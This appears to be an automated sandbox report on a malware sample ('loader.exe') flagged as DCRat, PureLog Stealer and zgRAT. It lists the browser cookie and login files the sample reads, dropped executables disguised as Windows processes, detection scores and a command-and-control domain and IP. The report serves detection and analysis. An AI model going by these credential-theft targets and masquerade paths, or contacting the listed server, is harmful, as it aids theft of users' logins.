Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Remote Access Functionality

Yara detected DCRat

Source: Yara match	File source: 00000011.00000002.3435800974.0000000003CBC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3435800974.00000000037B4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2357344463.0000000012B88000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3435800974.00000000039DF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: chainPorthostCommon.exe PID: 2308, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RuntimeBroker.exe PID: 6008, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: dasHost.exe PID: 3404, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: loader.exe, type: SAMPLE
Source: Yara match	File source: 0.3.loader.exe.5d2d70d.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.loader.exe.74d170d.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.chainPorthostCommon.exe.4b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.loader.exe.5d2d70d.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.loader.exe.74d170d.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2162490833.0000000005BE3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2161189771.0000000007387000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.2286038382.00000000004B2000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: C:\Windows\DiagTrack\Scenarios\dasHost.exe, type: DROPPED
Source: Yara match	File source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\csrss.exe, type: DROPPED
Source: Yara match	File source: C:\Recovery\conhost.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\LiveKernelReports\RuntimeBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe, type: DROPPED

Yara detected zgRAT

Source: Yara match	File source: loader.exe, type: SAMPLE
Source: Yara match	File source: 0.3.loader.exe.5d2d70d.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.loader.exe.74d170d.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.chainPorthostCommon.exe.4b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.loader.exe.5d2d70d.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.loader.exe.74d170d.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Windows\DiagTrack\Scenarios\dasHost.exe, type: DROPPED
Source: Yara match	File source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\csrss.exe, type: DROPPED
Source: Yara match	File source: C:\Recovery\conhost.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\LiveKernelReports\RuntimeBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	Valid Accounts	141 Windows Management Instrumentation	11 Scripting	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 OS Credential Dumping	3 File and Directory Discovery	1 Taint Shared Content	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	145 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	31 Registry Run Keys / Startup Folder	12 Process Injection	3 Obfuscated Files or Information	Security Account Manager	541 Security Software Discovery	SMB/Windows Admin Shares	1 Clipboard Data	12 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	31 Registry Run Keys / Startup Folder	14 Software Packing	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	471 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 File Deletion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	232 Masquerading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	471 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
loader.exe	76%	Virustotal		Browse
loader.exe	68%	ReversingLabs	Win32.Trojan.DCRat
loader.exe	100%	Avira	VBS/Runner.VPG
loader.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\Desktop\SSuSBQke.log	100%	Avira	TR/AVI.Agent.updqb
C:\Users\user\Desktop\JgiUHXBa.log	100%	Avira	TR/PSW.Agent.qngqt
C:\Users\user\Desktop\pOvooSqL.log	100%	Avira	TR/AVI.Agent.updqb
C:\ServerWinRuntimeBroker\OAKCwEsKnudXsAgphVRYMDBaoP2ZIjCO6J5QYyd0q81GMNjCqOkwlC1.vbe	100%	Avira	VBS/Runner.VPG
C:\Windows\DiagTrack\Scenarios\dasHost.exe	100%	Avira	HEUR/AGEN.1323342
C:\Users\user\AppData\Local\Temp\HArqwkOZhw.bat	100%	Avira	BAT/Delbat.C
C:\Recovery\conhost.exe	100%	Avira	HEUR/AGEN.1323342
C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	100%	Avira	HEUR/AGEN.1323342
C:\Program Files (x86)\Microsoft\csrss.exe	100%	Avira	HEUR/AGEN.1323342
C:\Windows\LiveKernelReports\RuntimeBroker.exe	100%	Avira	HEUR/AGEN.1323342
C:\Users\user\Desktop\keVXUmFt.log	100%	Avira	TR/PSW.Agent.qngqt
C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	100%	Avira	HEUR/AGEN.1323342
C:\Users\user\Desktop\JgiUHXBa.log	100%	Joe Sandbox ML
C:\Users\user\Desktop\ZPhRdffT.log	100%	Joe Sandbox ML
C:\Windows\System32\SecurityHealthSystray.exe	100%	Joe Sandbox ML
C:\Windows\DiagTrack\Scenarios\dasHost.exe	100%	Joe Sandbox ML
C:\Recovery\conhost.exe	100%	Joe Sandbox ML
C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Microsoft\csrss.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\OTzTkTQO.log	100%	Joe Sandbox ML
C:\Windows\LiveKernelReports\RuntimeBroker.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\keVXUmFt.log	100%	Joe Sandbox ML
C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Microsoft\csrss.exe	83%	ReversingLabs	ByteCode-MSIL.Trojan.Whispergate
C:\Recovery\conhost.exe	83%	ReversingLabs	ByteCode-MSIL.Trojan.Whispergate
C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	83%	ReversingLabs	ByteCode-MSIL.Trojan.Whispergate
C:\Users\user\Desktop\BLdnhdFQ.log	38%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\JgiUHXBa.log	71%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\OTzTkTQO.log	8%	ReversingLabs
C:\Users\user\Desktop\PHEbWhMM.log	25%	ReversingLabs
C:\Users\user\Desktop\SSuSBQke.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\XCTiUwVw.log	38%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\ZPhRdffT.log	8%	ReversingLabs
C:\Users\user\Desktop\keVXUmFt.log	71%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\kmFpzVgz.log	25%	ReversingLabs
C:\Users\user\Desktop\pOvooSqL.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Windows\DiagTrack\Scenarios\dasHost.exe	83%	ReversingLabs	ByteCode-MSIL.Trojan.Whispergate
C:\Windows\LiveKernelReports\RuntimeBroker.exe	83%	ReversingLabs	ByteCode-MSIL.Trojan.Whispergate
C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	83%	ReversingLabs	ByteCode-MSIL.Trojan.Whispergate

Source	Detection	Scanner	Label
http://373292cm.nyP	0%	Avira URL Cloud	safe
http://373292cm.nyashka.top/JavascriptSecureSqlLocalTemporary.php	0%	Avira URL Cloud	safe
http://373292cm.nyPR	0%	Avira URL Cloud	safe
http://373292cm.nyashka.top	0%	Avira URL Cloud	safe
http://373292cm.nyashka.top/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
373292cm.nyashka.top	37.44.238.250	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://373292cm.nyashka.top/JavascriptSecureSqlLocalTemporary.php	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ac.ecosia.org/autocomplete?q=	RuntimeBroker.exe, 00000011.00000002.3463672667.00000000149BB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013648000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.00000000145EB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013B63000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014183000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013939000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013ACB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014922000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001473A000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014552000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013E4B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014B0A000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014BA3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001421B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.00000000147D3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013DB3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001436B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014033000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013F9B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014403000.00000004.00000800.00020000.00000000.sdmp, ILsVoJuzGv.17.dr	false		high
https://duckduckgo.com/chrome_newtab	RuntimeBroker.exe, 00000011.00000002.3463672667.00000000149BB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013648000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.00000000145EB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013B63000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014183000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013939000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013ACB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014922000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001473A000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014552000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013E4B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014B0A000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014BA3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001421B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.00000000147D3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013DB3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001436B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014033000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013F9B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014403000.00000004.00000800.00020000.00000000.sdmp, ILsVoJuzGv.17.dr	false		high
https://duckduckgo.com/ac/?q=	RuntimeBroker.exe, 00000011.00000002.3463672667.00000000149BB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013648000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.00000000145EB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013B63000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014183000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013939000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013ACB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014922000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001473A000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014552000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013E4B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014B0A000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014BA3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001421B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.00000000147D3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013DB3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001436B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014033000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013F9B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014403000.00000004.00000800.00020000.00000000.sdmp, ILsVoJuzGv.17.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	RuntimeBroker.exe, 00000011.00000002.3463672667.00000000149BB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013648000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.00000000145EB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013B63000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014183000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013939000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013ACB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014922000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001473A000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014552000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013E4B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014B0A000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014BA3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001421B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.00000000147D3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013DB3000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.000000001436B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014033000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000013F9B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3463672667.0000000014403000.00000004.00000800.00020000.00000000.sdmp, ILsVoJuzGv.17.dr	false		high
http://373292cm.nyashka.top	RuntimeBroker.exe, 00000011.00000002.3435800974.0000000003970000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3435800974.00000000039DB000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3435800974.00000000037B4000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3435800974.00000000039DF000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
